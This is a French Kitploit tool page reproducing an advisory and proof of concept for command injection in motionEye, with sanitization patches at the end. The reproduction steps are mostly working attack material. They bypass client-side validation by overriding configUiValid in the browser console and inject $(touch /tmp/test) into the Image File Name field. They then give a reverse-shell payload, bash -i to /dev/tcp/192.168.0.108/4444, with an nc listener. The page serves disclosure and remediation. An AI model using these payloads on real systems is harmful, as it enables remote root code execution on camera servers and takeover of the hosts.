Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
motionEye-RCE-through-config-parameter — Étapes du PoC pour cette vulnérabilité | Kitploit
Outils/GitHubGitHub/prabhatverma47/motioneye-rce-through-config-parameter
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionRed Teaming
GitHubprabhatverma47/motioneye-rce-through-config-parameter

motionEye-RCE-through-config-parameter

Étapes du PoC pour cette vulnérabilité

Voir le dépôt
211il y a 11 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

MotionEye RCE via Client-Side Validation Bypass

Résumé

Lors d'un test de sécurité d'une instance MotionEye exécutée dans Docker, il a été observé que la validation côté client dans l'interface web peut être contournée. Cela permet de soumettre des entrées arbitraires, y compris des charges utiles pouvant déclencher une exécution sur le conteneur hôte. Le problème présente un risque d'exécution de code à distance (RCE) s'il est exploité.

Versions concernées: Toutes les versions jusqu'à 0.43.1b4 incluse
État du correctif: Aucun correctif disponible pour le moment. Une solution de contournement est fournie dans cet avis.
Référence du projet: https://github.com/motioneye-project/motioneye
CWE: CWE-20, CWE-78, CWE-116
CVSS: 3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CVSS: 7.2/10


Environnement

  • Cible : MotionEye exécuté dans Docker
  • Image : ghcr.io/motioneye-project/motioneye:edge
  • Port exposé : 9999 mappé vers le port 8765 du conteneur
  • Identifiants de test : admin / mot de passe vide (par défaut)

  • Étapes de reproduction

    1. Configuration du conteneur

    Exécutez la commande suivante pour lancer le téléchargement de l'image Docker et démarrer le conteneur

    root@kitploit:~
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    
    image

    2. Vérification de la version

    root@kitploit:~
    docker logs motioneye | grep "motionEye server"
    

    Résultat : Serveur MotionEye 0.43.1b4 image

    3. Accès au système de fichiers

    Une fois le conteneur Docker en cours d'exécution, le shell du conteneur peut être accessible à l'aide des commandes suivantes

    root@kitploit:~
    docker exec -it motioneye /bin/bash
    ls -la /tmp
    
    image

    4. Accès initial

    Accédez à l'interface web à l'adresse :
    http://127.0.0.1:9999
    Connexion : admin (mot de passe vide)

    5. Configuration de la caméra

    Ajout d'une caméra réseau RTSP d'exemple.
    image

    6. Tentative d'injection

    Une commande d'exécution malveillante a été saisie dans le champ « Still Images » > « Image File Name », mais une erreur de validation côté client a été rencontrée.

    root@kitploit:~
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    

    Bloquée par la validation côté client.
    image

    image

    7. Découverte de la validation côté client

    Le script suivant est responsable de la validation : /static/js/main.js?v=0.43.1b4, qui fait référence à /static/js/ui.js?v=0.43.1b4 pour implémenter les conditions de validation.

    Fichier : /static/js/main.js?v=0.43.1b4 référençant /static/js/ui.js?v=0.43.1b4

    root@kitploit:~
    function configUiValid() {
        $('div.settings').find('.validator').each(function () { this.validate(); });
        var valid = true;
        $('div.settings input, select').each(function () {
            if (this.invalid) { valid = false; return false; }
        });
        return valid;
    }
    

    8. Technique de contournement

    En redéfinissant la fonction configUiValid dans la console du navigateur, toutes les vérifications de validation peuvent être contournées : saisissez l'extrait ci-dessous dans la console du navigateur (F12 ou Ctrl+Maj+I)

    root@kitploit:~
    configUiValid = function() { 
        return true; 
    };
    
    image

    9. Exécution de la charge utile

    La charge utile peut désormais être saisie directement sans validation : définissez-la comme ci-dessous puis appliquez les paramètres.

    Paramètres :

    • Mode de capture = Interval Snapshots
    • Intervalle = 10
    • Image File Name :
    root@kitploit:~
    $(touch /tmp/test).%Y-%m-%d-%H-%M-%S
    
    image

    Appliqué → Fichier créé avec les permissions root.

    image

    Impact : armer la RCE

    Production simple d'un reverse shell :

    Écouteur :

    root@kitploit:~
    nc -lvnp 4444
    
    image

    Charge utile injectée :

    root@kitploit:~
    $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S
    
    image

    Résultat : Shell distant obtenu.


    Cause racine et flux

    MotionEye est vulnérable car il prend les entrées utilisateur du tableau de bord web et les écrit directement dans les fichiers de configuration Motion sans vérifier les caractères dangereux. Par exemple, le champ image_file_name de l'interface est envoyé au backend (config.py) et enregistré dans /etc/motioneye/camera-.conf. Lorsque MotionEye redémarre le service Motion (motionctl.start), le processus Motion lit ce fichier de configuration. Si le champ picture_filename contient une syntaxe shell comme $(touch /tmp/test), Motion l'exécutera comme une véritable commande au lieu de la traiter comme faisant partie du nom de fichier.

    Entrée non assainie écrite dans les fichiers de configuration Motion :
    Dashboard JS → ConfigHandler.set_config() → camera-1.conf → motionctl.restart() → motion parse picture_filename → exécute la charge utile


    Prévention

    Correctif d'assainissement

    Fichier : /usr/local/lib/python3.13/dist-packages/motioneye/config.py

    root@kitploit:~
    def sanitize_filename(value):
        # allow only letters, numbers, %, _, -, /, .
        for ch in value:
            if not (ch.isalnum() or ch in "%-_/."):
                return "%Y-%m-%d/%H-%M-%S"  # safe fallback
        return value
    
    image

    Appliquez l'assainissement :

    root@kitploit:~
    data['picture_filename']  = sanitize_filename(ui['image_file_name'])
    data['snapshot_filename'] = sanitize_filename(ui['image_file_name'])
    

    avant : image après : image


    Résolution alternative

    Étape 1 : Lancer Docker

    root@kitploit:~
    docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
    

    Étape 2 : Accéder au conteneur

    root@kitploit:~
    docker exec -it motioneye /bin/bash
    docker cp motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py ./config.py
    docker cp ./Mconfig.py motioneye:/usr/local/lib/python3.13/dist-packages/motioneye/config.py
    

    Étape 3 : Modifier la configuration

    Original :

    root@kitploit:~
    on_event_start = [f"{meyectl.find_command('relayevent')} start %t"]
    on_event_end = [f"{meyectl.find_command('relayevent')} stop %t"]
    on_movie_end = [f"{meyectl.find_command('relayevent')} movie_end %t %f"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save %t %f"]
    

    Remplacez par :

    root@kitploit:~
    import re
    
    on_event_start  = [f"{meyectl.find_command('relayevent')} start '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_event_end    = [f"{meyectl.find_command('relayevent')} stop '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}'"]
    on_movie_end    = [f"{meyectl.find_command('relayevent')} movie_end '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    on_picture_save = [f"{meyectl.find_command('relayevent')} picture_save '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%t')}' '{re.sub(r'[;&|$`()<>\"\\' ]', '', '%f')}'"]
    
    image

    Étape 4 : Redémarrer

    root@kitploit:~
    docker restart motioneye
    
    image

    Correctif alternatif

    Dans motion_camera_ui_to_dict(...) :

    Original :

    root@kitploit:~
    data['picture_filename'] = ui['image_file_name']
    data['snapshot_filename'] = ui['image_file_name']
    

    Remplacez par :

    root@kitploit:~
    from re import sub
    data['picture_filename']  = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    data['snapshot_filename'] = (sub(r'[^A-Za-z0-9._%/-]', '_', ui['image_file_name']).lstrip('/') or '%Y-%m-%d/%H-%M-%S')
    
    Télécharger l’outil